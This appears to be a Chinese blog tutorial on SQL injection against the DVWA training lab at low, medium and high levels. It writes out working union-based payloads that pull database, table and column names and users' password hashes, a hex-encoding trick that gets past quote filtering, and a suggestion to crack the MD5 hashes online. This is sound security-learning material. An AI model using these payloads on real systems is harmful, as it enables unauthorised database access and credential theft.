這篇文章主要記錄學習sql注入的過程中遇到的問題已經一點學習感悟,過程圖片會比較多,比較基礎和詳細,不存在看不懂哪一步的過程
文章目錄
- 靶場介紹
- SQL注入 low
- SQL注入 Medium
- SQL注入 High
- SQL注入 Impossible
靶場介紹
DVWA(Damn Vulnerable Web Application)是一個專為安全專業人員、開發人員和學生設計的網絡安全靶場。它是一個基于PHP/MySQL的開源Web應用程序,模擬了一個典型的Web應用程序環境,并包含了多種常見的Web安全漏洞,如SQL注入、跨站腳本攻擊(XSS)、文件上傳漏洞、命令注入等。這些漏洞被故意設計出來,用于安全教育和滲透測試訓練。
SQL注入 low
輸入1,正常回顯,觀察URL明顯是get請求傳遞的參數。
測試是否存在sql注入,這里用 ’ 來測(雖然這個是靶場,我們已經知道存在sql注入漏洞,我為了理清思路,這里完整的復述一遍)
這里報錯了,說明這個網頁存在sql注入的漏洞
測一下漏洞是字符型還是數字型
1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注釋,有的地方可以用#注釋,這里只能用#注釋)
前兩個都正常回顯
這里我們猜測一下數據庫的搜索語句應該是這樣的,那么應該是字符型
1’ and 1=1#正常回顯
1’ and 1=2#回顯異常了
這里我們接著想一想后端的sql搜索語句是怎么寫的,如下圖,當前面閉合后,執行后面的1=1,會正常回顯內容,當你1=2時,永假,頁面肯定回顯異常。到這里就可以判斷一定是字符型的注入了。
到這一步基本上我們找到了閉合,可以開始注入了。
(ps:到了這兒,該如何注入就得看各位師父們的手法和技巧了,高超的技巧往往能更快更方便注入。)
1' order by
-1' union select 1,2#
這里的意思就是說聯合注入,我們后面查詢的1,2兩個字段的數據顯示在頁面的哪個位置,搞清楚了位置我們就可以通過替換1,2字段的查詢語句來進行數據庫的信息的探測。
探測數據庫名
-1' union select database(),2#
探測表名
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
探測表中字段名
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
獲取數據(密碼均為md5加密,各位可以去網上用md5解密網站跑,簡單的一般不用收費)
1' and 1=2 union select user,password from users#
好了到此,low級別的sql注入已經差不多完成了,后面的中級和高級最后過程就不贅述,只尋找到閉合。
SQL注入 Medium
我們先觀察一下頁面,只能讓你選擇你的id,不讓你輸入了,使用post傳參,我們可以用burp suite來抓包實現修改post數據
數據包如下:
分析到這里后,其實其他步驟跟low級別就差不多了
測有無sql漏洞:
id=1'&Submit=Submit測有無sql
判斷類型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi
如此可以測出來,存在數字型的sql注入漏洞
測試代碼如下:
id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit
這里要就能體現,medium和low有什么區別了。我們探測user表中的字段數時,發現sql語句報錯了,說明后端做了過濾。我們點開源代碼看看后端做了什么限制。
說明他可能過濾掉了我們的單引號,但是這種過濾其實也沒啥太大用處,畢竟換個十六進制加密就能寫進去。
id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit
id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit
SQL注入 High
這里我們先審一下后端的代碼,這里做的限制只要是limit 1,給你一個回復,而且你提交數據的頁面和它顯示給你的界面不是同一個,這樣做是防止sqlmap等自動化掃描工具的批量掃描。然而其他的跟low級別基本上差不太多。
我們直接用low級別的payload也可以直接獲取到他的數據庫信息。
SQL注入 Impossible
關于這個難度,本人的php水平有限,等后期php的水平提升了再來審一下這個靶場的后端代碼,這里先擱置在這里。csdn中很有很多大佬做了代碼審計,各位感興趣可以自行搜索。(QAQ)